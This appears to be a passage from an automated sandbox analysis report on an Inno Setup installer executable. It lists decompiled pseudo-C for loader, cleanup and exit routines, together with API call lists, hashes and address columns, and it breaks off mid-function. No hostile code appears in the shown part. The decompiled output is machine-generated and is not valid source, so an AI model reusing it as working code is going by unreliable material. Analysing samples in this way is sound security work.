                                                          0x00409b68
                                                          0x00409b98
                                                          0x00409b9f
                                                          0x00409bbf
                                                          0x00409bc4
                                                          0x00409bd0
                                                          0x00409bdb
                                                          0x00409be4
                                                          0x00409be9
                                                          0x00409bec
                                                          0x00409bfa
                                                          0x00409c02
                                                          0x00409c08
                                                          0x00409c10
                                                          0x00409c15
                                                          0x00409c1a
                                                          0x00409c1d
                                                          0x00409c21
                                                          0x00409c26
                                                          0x00409c29
                                                          0x00409c3a
                                                          0x00409c42
                                                          0x00409c43
                                                          0x00409c4b
                                                          0x00409c4f
                                                          0x00409c57
                                                          0x00409c58
                                                          0x00409c65
                                                          0x00409c6a
                                                          0x00409c71
                                                          0x00409c74
                                                          0x00409c77
                                                          0x00409c7c
                                                          0x00409c81
                                                          0x00409c8d
                                                          0x00409c9e
                                                          0x00409ca3
                                                          0x00409ca3
                                                          0x00409caf
                                                          0x00409cb1
                                                          0x00409cbc
                                                          0x00409cbc
                                                          0x00409cc8
                                                          0x00409cca
                                                          0x00409ccf
                                                          0x00409cd0
                                                          0x00409cd0
                                                          0x00409cdc
                                                          0x00409cde
                                                          0x00409ce3
                                                          0x00409cee
                                                          0x00409cf3
                                                          0x00409cf8
                                                          0x00409cff
                                                          0x00000000
                                                          0x00409cff
                                                          0x00409d04

                                                          APIs
                                                          • CreateWindowExA.USER32 ref: 00409BBF
                                                          • SetWindowLongA.USER32 ref: 00409BD6
                                                            • Part of subcall function 004068F8: GetCommandLineA.KERNEL32(0040BDE0,?,00406A3C,00000000,00406A78,?,?,0040BDE0,?,00000000,00000000,?,004091B1,00000000,0040923D), ref: 004068FC
                                                            • Part of subcall function 00409428: 6CF17180.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,0040953C,01F90F20,00409530,00000000,00409518), ref: 0040949C
                                                            • Part of subcall function 00409428: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,0040953C,01F90F20,00409530,00000000), ref: 004094B0
                                                            • Part of subcall function 00409428: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 004094CC
                                                            • Part of subcall function 00409428: MsgWaitForMultipleObjects.USER32 ref: 004094E4
                                                            • Part of subcall function 00409428: GetExitCodeProcess.KERNEL32 ref: 004094F4
                                                            • Part of subcall function 00409428: CloseHandle.KERNEL32(?,?,?,00000001,?,00000000,000000FF,000000FF,?,00000000,00000000,00000000,00000001,?,?,00000000), ref: 004094FD
                                                          • RemoveDirectoryA.KERNEL32(00000000,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409CBC
                                                          • 72E69840.USER32(00030340,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409CD0
                                                            • Part of subcall function 0040900C: Sleep.KERNEL32(?,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 0040902B
                                                            • Part of subcall function 0040900C: 6CAA5F60.KERNEL32(00000000,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 00409048
                                                            • Part of subcall function 0040900C: GetLastError.KERNEL32(00000000,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 00409051
                                                            • Part of subcall function 0040900C: GetLastError.KERNEL32(00000000,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 0040905B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: CloseErrorHandleLastWindow$CodeCommandCreateDirectoryE69840ExitF17180LineLongMessageMultipleObjectsPeekProcessRemoveSleepWait
                                                          • String ID: " %d %d $/SL4 $%x "$InnoSetupLdrWindow$STATIC
                                                          • API String ID: 2376589955-4098424104
                                                          • Opcode ID: 400fe8613ed19fa1b37da1a693d414b31754fec83bf3ed64b2fdd682156418e3
                                                          • Instruction ID: 4a326fc393e1ea8ae26459022dc75ef76f7bcc14ffe701c1a522a5024f58fdd1
                                                          • Opcode Fuzzy Hash: 400fe8613ed19fa1b37da1a693d414b31754fec83bf3ed64b2fdd682156418e3
                                                          • Instruction Fuzzy Hash: 79411B71A042059BD701EBA9ED45BAA77B4EF88304F20443BE600B73E2D77D99458BAD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          C-Code - Quality: 71%
                                                          			E004019DC() {
                                                          				void* _t2;
                                                          				void* _t3;
                                                          				void* _t14;
                                                          				intOrPtr* _t18;
                                                          				intOrPtr _t22;
                                                          				intOrPtr _t24;
                                                          
                                                          				_t22 = _t24;
                                                          				if( *0x40b415 == 0) {
                                                          					return _t2;
                                                          				} else {
                                                          					_push(_t22);
                                                          					_push(E00401AB4);
                                                          					_push( *[fs:edx]);
                                                          					 *[fs:edx] = _t24;
                                                          					if( *0x40b032 != 0) {
                                                          						_push(0x40b41c);
                                                          						L00401274();
                                                          					}
                                                          					 *0x40b415 = 0;
                                                          					_t3 =  *0x40b474; // 0x0
                                                          					LocalFree(_t3);
                                                          					 *0x40b474 = 0;
                                                          					_t18 =  *0x40b43c; // 0x40b43c
                                                          					while(_t18 != 0x40b43c) {
                                                          						_t1 = _t18 + 8; // 0x0
                                                          						VirtualFree( *_t1, 0, 0x8000); // executed
                                                          						_t18 =  *_t18;
                                                          					}
                                                          					E004012DC(0x40b43c);
                                                          					E004012DC(0x40b44c);
                                                          					E004012DC(0x40b478);
                                                          					_t14 =  *0x40b434; // 0x0
                                                          					while(_t14 != 0) {
                                                          						 *0x40b434 =  *_t14;
                                                          						LocalFree(_t14);
                                                          						_t14 =  *0x40b434; // 0x0
                                                          					}
                                                          					_pop( *[fs:0x0]);
                                                          					_push(0x401abb);
                                                          					if( *0x40b032 != 0) {
                                                          						_push(0x40b41c);
                                                          						L0040127C();
                                                          					}
                                                          					_push(0x40b41c);
                                                          					L00401284();
                                                          					return _t14;
                                                          				}
                                                          			}









                                                          0x004019dd
                                                          0x004019e7
                                                          0x00401abd
                                                          0x004019ed
                                                          0x004019ef
                                                          0x004019f0
                                                          0x004019f5
                                                          0x004019f8
                                                          0x00401a02
                                                          0x00401a04
                                                          0x00401a09
                                                          0x00401a09
                                                          0x00401a0e
                                                          0x00401a15
                                                          0x00401a1b
                                                          0x00401a22
                                                          0x00401a27
                                                          0x00401a41
                                                          0x00401a36
                                                          0x00401a3a
                                                          0x00401a3f
                                                          0x00401a3f
                                                          0x00401a4e
                                                          0x00401a58
                                                          0x00401a62
                                                          0x00401a67
                                                          0x00401a6e
                                                          0x00401a72
                                                          0x00401a79
                                                          0x00401a7e
                                                          0x00401a83
                                                          0x00401a87
                                                          0x00401a91
                                                          0x00401a9d
                                                          0x00401a9f
                                                          0x00401aa4
                                                          0x00401aa4
                                                          0x00401aa9
                                                          0x00401aae
                                                          0x00401ab3
                                                          0x00401ab3

                                                          APIs
                                                          • RtlEnterCriticalSection.KERNEL32(0040B41C,00000000,00401AB4), ref: 00401A09
                                                          • LocalFree.KERNEL32(00000000,00000000,00401AB4), ref: 00401A1B
                                                          • VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,00401AB4), ref: 00401A3A
                                                          • LocalFree.KERNEL32(00000000,00000000,00000000,00008000,00000000,00000000,00401AB4), ref: 00401A79
                                                          • RtlLeaveCriticalSection.KERNEL32(0040B41C,00401ABB), ref: 00401AA4
                                                          • RtlDeleteCriticalSection.KERNEL32(0040B41C,00401ABB), ref: 00401AAE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
                                                          • String ID:
                                                          • API String ID: 3782394904-0
                                                          • Opcode ID: 6c76a69aab1a1f3df5ba2e12c30d7b7fa82e2f09a92a1617bef653e377a21f91
                                                          • Instruction ID: b0c8d0c63b49c6aaabe66432ff64a941bd842da83dadee4e543dc85868b8677d
                                                          • Opcode Fuzzy Hash: 6c76a69aab1a1f3df5ba2e12c30d7b7fa82e2f09a92a1617bef653e377a21f91
                                                          • Instruction Fuzzy Hash: FD1130707823809ADB11ABA59EC6F523668D745B08F44447EF444BA3F3C77C9950CAAD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          C-Code - Quality: 74%
                                                          			E004098DD(void* __ebx, void* __edi, void* __esi) {
                                                          				intOrPtr _t27;
                                                          				intOrPtr _t29;
                                                          				intOrPtr _t35;
                                                          				intOrPtr _t37;
                                                          				intOrPtr _t40;
                                                          				intOrPtr _t42;
                                                          				CHAR* _t43;
                                                          				intOrPtr _t49;
                                                          				CHAR* _t50;
                                                          				void* _t56;
                                                          				intOrPtr _t57;
                                                          				void* _t59;
                                                          				intOrPtr _t61;
                                                          				intOrPtr _t63;
                                                          				intOrPtr _t64;
                                                          				intOrPtr _t71;
                                                          				intOrPtr _t73;
                                                          				intOrPtr _t76;
                                                          				char* _t79;
                                                          				void* _t80;
                                                          				void* _t81;
                                                          				void* _t82;
                                                          				char* _t83;
                                                          
                                                          				_t81 = __esi;
                                                          				_t80 = __edi;
                                                          				_t56 = __ebx;
                                                          				_pop(_t69);
                                                          				_pop(_t59);
                                                          				 *[fs:eax] = _t69;
                                                          				E004092B8(_t59);
                                                          				if( *0x40a07c == 0) {
                                                          					_t49 =  *0x40ba6c; // 0x0
                                                          					_t50 = E004034B8(_t49);
                                                          					_t69 = "Win32s";
                                                          					E004089C8(0x6c, _t82 - 0x10, "Win32s");
                                                          					MessageBoxA(0, E004034B8( *((intOrPtr*)(_t82 - 0x10))), _t50, 0x10);
                                                          					E00405820();
                                                          				}
                                                          				if(( *0x40bdc0 & 0x00000001) == 0 &&  *0x40a234 == 0) {
                                                          					_t42 =  *0x40bbac; // 0x0
                                                          					_t43 = E004034B8(_t42);
                                                          					_t69 =  *0x40bca8; // 0x1fa1470
                                                          					E004089C8(0x98, _t82 - 0x10, _t69);
                                                          					if(MessageBoxA(0, E004034B8( *((intOrPtr*)(_t82 - 0x10))), _t43, 0x24) != 6) {
                                                          						 *0x40a23c = 2;
                                                          						E00405820();
                                                          					}
                                                          				}
                                                          				E004026C4();
                                                          				E00408E3C(_t82 - 0x10, _t56, _t69, _t80, _t81); // executed
                                                          				E004031E8(0x40be14, _t56,  *((intOrPtr*)(_t82 - 0x10)), _t80, _t81);
                                                          				_t71 =  *0x40be14; // 0x1f90e60
                                                          				E00408D30(0, _t56, 0x409db4, _t71, _t80, _t81, _t82 - 0x10); // executed
                                                          				E004031E8(0x40be18, _t56,  *((intOrPtr*)(_t82 - 0x10)), _t80, _t81);
                                                          				_t73 =  *0x40bdfc; // 0x1095c4
                                                          				E00407354(_t73);
                                                          				_push(_t82);
                                                          				_push(0x409b6d);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t83;
                                                          				 *0x40be5c = 0;
                                                          				_t61 =  *0x40be18; // 0x1f90f20
                                                          				_t27 = E00407110(_t61, 1, 0, 1, 0); // executed
                                                          				 *0x40bddc = _t27;
                                                          				 *[fs:eax] = _t83;
                                                          				_t29 =  *0x40be00; // 0xa0e00
                                                          				 *0x40be5c = E00402594(_t29,  *[fs:eax], 0x409b5c, _t82);
                                                          				_t57 =  *0x40be5c; // 0x1fa7ff4
                                                          				_t76 =  *0x40be00; // 0xa0e00
                                                          				E0040277C(_t57, _t76);
                                                          				_push(_t82);
                                                          				_push(0x409ab8);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t83;
                                                          				_t63 =  *0x40bdd8; // 0x0
                                                          				_t35 = E004076B4(_t63, 1, "tv@"); // executed
                                                          				 *0x40be60 = _t35;
                                                          				_push(_t82);
                                                          				_push(0x409aa7);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t83;
                                                          				_t64 =  *0x40be00; // 0xa0e00
                                                          				_t37 =  *0x40be60; // 0x2048df8
                                                          				E00407944(_t37, _t64, _t57);
                                                          				_pop(_t79);
                                                          				 *[fs:eax] = _t79;
                                                          				_push(E00409AAE);
                                                          				_t40 =  *0x40be60; // 0x2048df8
                                                          				return E00402924(_t40);
                                                          			}


























                                                          0x004098dd
                                                          0x004098dd
                                                          0x004098dd
                                                          0x004098df
                                                          0x004098e1
                                                          0x004098e2
                                                          0x00409902
                                                          0x0040990e
                                                          0x00409912
                                                          0x00409917
                                                          0x00409920
                                                          0x00409927
                                                          0x00409937
                                                          0x0040993c
                                                          0x0040993c
                                                          0x00409948
                                                          0x00409955
                                                          0x0040995a
                                                          0x00409963
                                                          0x0040996b
                                                          0x00409983
                                                          0x00409985
                                                          0x0040998f
                                                          0x0040998f
                                                          0x00409983
                                                          0x00409994
                                                          0x0040999c
                                                          0x004099a9
                                                          0x004099b7
                                                          0x004099bf
                                                          0x004099cc
                                                          0x004099d1
                                                          0x004099dc
                                                          0x004099e3
                                                          0x004099e4
                                                          0x004099e9
                                                          0x004099ec
                                                          0x004099f1
                                                          0x004099fc
                                                          0x00409a09
                                                          0x00409a0e
                                                          0x00409a1e
                                                          0x00409a21
                                                          0x00409a2b
                                                          0x00409a30
                                                          0x00409a3a
                                                          0x00409a40
                                                          0x00409a47
                                                          0x00409a48
                                                          0x00409a4d
                                                          0x00409a50
                                                          0x00409a58
                                                          0x00409a65
                                                          0x00409a6a
                                                          0x00409a71
                                                          0x00409a72
                                                          0x00409a77
                                                          0x00409a7a
                                                          0x00409a7f
                                                          0x00409a85
                                                          0x00409a8a
                                                          0x00409a91
                                                          0x00409a94
                                                          0x00409a97
                                                          0x00409a9c
                                                          0x00409aa6

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: Message
                                                          • String ID: .tmp$Win32s$tv@
                                                          • API String ID: 2030045667-1766138599
                                                          • Opcode ID: 3fddd7748c1efeaef797afce712b61bc16134fe14e5f2efe0f508988652e79f3
                                                          • Instruction ID: d0719c4f5a27637985a1895d137a0586122a5a3a0ae2437d375b320d73db81a5
                                                          • Opcode Fuzzy Hash: 3fddd7748c1efeaef797afce712b61bc16134fe14e5f2efe0f508988652e79f3
                                                          • Instruction Fuzzy Hash: 5F415B706146449FD701EB65ED52A6A77A9EB48704F10883AF900B77E2CB7D6C00CBAD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          C-Code - Quality: 76%
                                                          			E004098F8(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
                                                          				intOrPtr _t27;
                                                          				intOrPtr _t29;
                                                          				intOrPtr _t35;
                                                          				intOrPtr _t37;
                                                          				intOrPtr _t40;
                                                          				intOrPtr _t42;
                                                          				CHAR* _t43;
                                                          				intOrPtr _t49;
                                                          				CHAR* _t50;
                                                          				void* _t56;
                                                          				intOrPtr _t57;
                                                          				void* _t58;
                                                          				intOrPtr _t60;
                                                          				intOrPtr _t62;
                                                          				intOrPtr _t63;
                                                          				intOrPtr _t70;
                                                          				intOrPtr _t72;
                                                          				intOrPtr _t75;
                                                          				intOrPtr _t78;
                                                          				void* _t79;
                                                          				void* _t80;
                                                          				void* _t81;
                                                          				intOrPtr _t82;
                                                          
                                                          				_t80 = __esi;
                                                          				_t79 = __edi;
                                                          				_t58 = __ecx;
                                                          				_t56 = __ebx;
                                                          				E00409540();
                                                          				E00402F24();
                                                          				E004092B8(_t58);
                                                          				if( *0x40a07c == 0) {
                                                          					_t49 =  *0x40ba6c; // 0x0
                                                          					_t50 = E004034B8(_t49);
                                                          					_t68 = "Win32s";
                                                          					E004089C8(0x6c, _t81 - 0x10, "Win32s");
                                                          					MessageBoxA(0, E004034B8( *((intOrPtr*)(_t81 - 0x10))), _t50, 0x10);
                                                          					E00405820();
                                                          				}
                                                          				if(( *0x40bdc0 & 0x00000001) == 0 &&  *0x40a234 == 0) {
                                                          					_t42 =  *0x40bbac; // 0x0
                                                          					_t43 = E004034B8(_t42);
                                                          					_t68 =  *0x40bca8; // 0x1fa1470
                                                          					E004089C8(0x98, _t81 - 0x10, _t68);
                                                          					if(MessageBoxA(0, E004034B8( *((intOrPtr*)(_t81 - 0x10))), _t43, 0x24) != 6) {
                                                          						 *0x40a23c = 2;
                                                          						E00405820();
                                                          					}
                                                          				}
                                                          				E004026C4();
                                                          				E00408E3C(_t81 - 0x10, _t56, _t68, _t79, _t80); // executed
                                                          				E004031E8(0x40be14, _t56,  *((intOrPtr*)(_t81 - 0x10)), _t79, _t80);
                                                          				_t70 =  *0x40be14; // 0x1f90e60
                                                          				E00408D30(0, _t56, 0x409db4, _t70, _t79, _t80, _t81 - 0x10); // executed
                                                          				E004031E8(0x40be18, _t56,  *((intOrPtr*)(_t81 - 0x10)), _t79, _t80);
                                                          				_t72 =  *0x40bdfc; // 0x1095c4
                                                          				E00407354(_t72);
                                                          				_push(_t81);
                                                          				_push(0x409b6d);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t82;
                                                          				 *0x40be5c = 0;
                                                          				_t60 =  *0x40be18; // 0x1f90f20
                                                          				_t27 = E00407110(_t60, 1, 0, 1, 0); // executed
                                                          				 *0x40bddc = _t27;
                                                          				 *[fs:eax] = _t82;
                                                          				_t29 =  *0x40be00; // 0xa0e00
                                                          				 *0x40be5c = E00402594(_t29,  *[fs:eax], 0x409b5c, _t81);
                                                          				_t57 =  *0x40be5c; // 0x1fa7ff4
                                                          				_t75 =  *0x40be00; // 0xa0e00
                                                          				E0040277C(_t57, _t75);
                                                          				_push(_t81);
                                                          				_push(0x409ab8);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t82;
                                                          				_t62 =  *0x40bdd8; // 0x0
                                                          				_t35 = E004076B4(_t62, 1, "tv@"); // executed
                                                          				 *0x40be60 = _t35;
                                                          				_push(_t81);
                                                          				_push(0x409aa7);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t82;
                                                          				_t63 =  *0x40be00; // 0xa0e00
                                                          				_t37 =  *0x40be60; // 0x2048df8
                                                          				E00407944(_t37, _t63, _t57);
                                                          				_pop(_t78);
                                                          				 *[fs:eax] = _t78;
                                                          				_push(E00409AAE);
                                                          				_t40 =  *0x40be60; // 0x2048df8
                                                          				return E00402924(_t40);
                                                          			}


























                                                          0x004098f8
                                                          0x004098f8
                                                          0x004098f8
                                                          0x004098f8
                                                          0x004098f8
                                                          0x004098fd
                                                          0x00409902
                                                          0x0040990e
                                                          0x00409912
                                                          0x00409917
                                                          0x00409920
                                                          0x00409927
                                                          0x00409937
                                                          0x0040993c
                                                          0x0040993c
                                                          0x00409948
                                                          0x00409955
                                                          0x0040995a
                                                          0x00409963
                                                          0x0040996b
                                                          0x00409983
                                                          0x00409985
                                                          0x0040998f
                                                          0x0040998f
                                                          0x00409983
                                                          0x00409994
                                                          0x0040999c
                                                          0x004099a9
                                                          0x004099b7
                                                          0x004099bf
                                                          0x004099cc
                                                          0x004099d1
                                                          0x004099dc
                                                          0x004099e3
                                                          0x004099e4
                                                          0x004099e9
                                                          0x004099ec
                                                          0x004099f1
                                                          0x004099fc
                                                          0x00409a09
                                                          0x00409a0e
                                                          0x00409a1e
                                                          0x00409a21
                                                          0x00409a2b
                                                          0x00409a30
                                                          0x00409a3a
                                                          0x00409a40
                                                          0x00409a47
                                                          0x00409a48
                                                          0x00409a4d
                                                          0x00409a50
                                                          0x00409a58
                                                          0x00409a65
                                                          0x00409a6a
                                                          0x00409a71
                                                          0x00409a72
                                                          0x00409a77
                                                          0x00409a7a
                                                          0x00409a7f
                                                          0x00409a85
                                                          0x00409a8a
                                                          0x00409a91
                                                          0x00409a94
                                                          0x00409a97
                                                          0x00409a9c
                                                          0x00409aa6

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: Message
                                                          • String ID: .tmp$Win32s$tv@
                                                          • API String ID: 2030045667-1766138599
                                                          • Opcode ID: fe8222c45a2bf6f7d99121595f255d834ad8eb4905a9a336082ea23429ac2605
                                                          • Instruction ID: dee1e90c638adaaa7d040f10d1271084d11f22890c3df03c25ae3000257ba05f
                                                          • Opcode Fuzzy Hash: fe8222c45a2bf6f7d99121595f255d834ad8eb4905a9a336082ea23429ac2605
                                                          • Instruction Fuzzy Hash: 08413A70610644ABD701FB65DD52A6A77A9EB49708F10487AF900B77E2CB7D6C00CBAD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 232 40900c-40901d 233 409069-40906e 232->233 234 40901f-409020 232->234 235 409022-409025 234->235 236 409032-409035 235->236 237 409027-409030 Sleep 235->237 238 409040-40904f call 4034b8 6CAA5F60 236->238 239 409037-40903b Sleep 236->239 237->238 238->233 242 409051-409059 GetLastError 238->242 239->238 242->233 243 40905b-409063 GetLastError 242->243 243->233 244 409065-409067 243->244 244->233 244->235
                                                          C-Code - Quality: 95%
                                                          			E0040900C(long __eax, void* __edx, long _a4) {
                                                          				long _v8;
                                                          				long _t4;
                                                          				void* _t8;
                                                          				long _t9;
                                                          				long _t11;
                                                          				void* _t13;
                                                          				void* _t14;
                                                          
                                                          				_t4 = __eax;
                                                          				_v8 = _t9;
                                                          				_t11 = __eax;
                                                          				_t13 = __edx - 1;
                                                          				if(_t13 < 0) {
                                                          					L10:
                                                          					return _t4;
                                                          				}
                                                          				_t14 = _t13 + 1;
                                                          				_t8 = 0;
                                                          				L2:
                                                          				L2:
                                                          				if(_t8 != 1) {
                                                          					if(_t8 > 1) {
                                                          						Sleep(_a4);
                                                          					}
                                                          				} else {
                                                          					Sleep(_v8);
                                                          				}
                                                          				_t4 = E004034B8(_t11);
                                                          				_push(_t4); // executed
                                                          				L00404488(); // executed
                                                          				if(_t4 != 0) {
                                                          					goto L10;
                                                          				}
                                                          				_t4 = GetLastError();
                                                          				if(_t4 == 2) {
                                                          					goto L10;
                                                          				}
                                                          				_t4 = GetLastError();
                                                          				if(_t4 == 3) {
                                                          					goto L10;
                                                          				}
                                                          				_t8 = _t8 + 1;
                                                          				_t14 = _t14 - 1;
                                                          				if(_t14 != 0) {
                                                          					goto L2;
                                                          				}
                                                          				goto L10;
                                                          			}










                                                          0x0040900c
                                                          0x00409013
                                                          0x00409016
                                                          0x0040901a
                                                          0x0040901d
                                                          0x0040906e
                                                          0x0040906e
                                                          0x0040906e
                                                          0x0040901f
                                                          0x00409020
                                                          0x00000000
                                                          0x00409022
                                                          0x00409025
                                                          0x00409035
                                                          0x0040903b
                                                          0x0040903b
                                                          0x00409027
                                                          0x0040902b
                                                          0x0040902b
                                                          0x00409042
                                                          0x00409047
                                                          0x00409048
                                                          0x0040904f
                                                          0x00000000
                                                          0x00000000
                                                          0x00409051
                                                          0x00409059
                                                          0x00000000
                                                          0x00000000
                                                          0x0040905b
                                                          0x00409063
                                                          0x00000000
                                                          0x00000000
                                                          0x00409065
                                                          0x00409066
                                                          0x00409067
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000

                                                          APIs
                                                          • Sleep.KERNEL32(?,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 0040902B
                                                          • Sleep.KERNEL32(?,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 0040903B
                                                          • 6CAA5F60.KERNEL32(00000000,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 00409048
                                                          • GetLastError.KERNEL32(00000000,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 00409051
                                                          • GetLastError.KERNEL32(00000000,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 0040905B
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: ErrorLastSleep
                                                          • String ID:
                                                          • API String ID: 1458359878-0
                                                          • Opcode ID: eaa4b2f0d2dd5a2d7e75993b196d579a667b04b919be8dd75190cd2541dcc667
                                                          • Instruction ID: 861fbaf215f69fbb0da9deec26b7cde67fa615360090588db58b17aae608382e
                                                          • Opcode Fuzzy Hash: eaa4b2f0d2dd5a2d7e75993b196d579a667b04b919be8dd75190cd2541dcc667
                                                          • Instruction Fuzzy Hash: 9AF0B4B290021427CB2475BE5C86A3F625CD991368725453BFA20F2283D53DCC0182BD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 245 403da6-403db4 246 403db6-403dbd 245->246 247 403dcd-403dd4 245->247 248 403e83-403e89 ExitProcess 246->248 249 403dc3 246->249 250 403de2-403de9 247->250 251 403dd6-403de0 247->251 249->247 252 403dc5-403dc7 249->252 253 403deb-403df5 250->253 254 403e5c-403e70 call 403d6c * 2 call 4019dc 250->254 251->247 252->247 255 403e8e-403ebd call 4030b4 252->255 258 403dfa-403e06 253->258 271 403e75-403e7c 254->271 258->258 259 403e08-403e12 258->259 262 403e17-403e28 259->262 262->262 265 403e2a-403e31 262->265 267 403e33-403e46 MessageBoxA 265->267 268 403e48-403e57 call 404088 call 40400b 265->268 267->254 268->254 271->255 273 403e7e call 4030b4 271->273 273->248
                                                          C-Code - Quality: 84%
                                                          			E00403DA6(int __eax) {
                                                          				intOrPtr* _t7;
                                                          				intOrPtr* _t8;
                                                          				signed int _t15;
                                                          				signed int _t19;
                                                          				intOrPtr _t20;
                                                          				unsigned int _t21;
                                                          				char* _t29;
                                                          				char* _t30;
                                                          				void* _t46;
                                                          
                                                          				 *0x40b020 = __eax;
                                                          				if( *0x40b030 == 0) {
                                                          					goto L5;
                                                          				} else {
                                                          					_t46 =  *0x40b414 - 1;
                                                          					if(_t46 < 0) {
                                                          						L17:
                                                          						ExitProcess( *0x40b020); // executed
                                                          					} else {
                                                          						if(_t46 == 0 || __eax != 0) {
                                                          							while(1) {
                                                          								L5:
                                                          								_t7 =  *0x40b024; // 0x0
                                                          								_t8 = _t7;
                                                          								if(_t8 == 0) {
                                                          									break;
                                                          								}
                                                          								 *0x40b024 = 0;
                                                          								 *_t8();
                                                          							}
                                                          							if( *0x40b028 != 0) {
                                                          								_t19 =  *0x40b020; // 0x0
                                                          								_t29 = "  at 00000000";
                                                          								do {
                                                          									_t2 = _t19 % 0xa;
                                                          									_t19 = _t19 / 0xa;
                                                          									 *_t29 = _t2 + 0x30;
                                                          									_t29 = _t29 - 1;
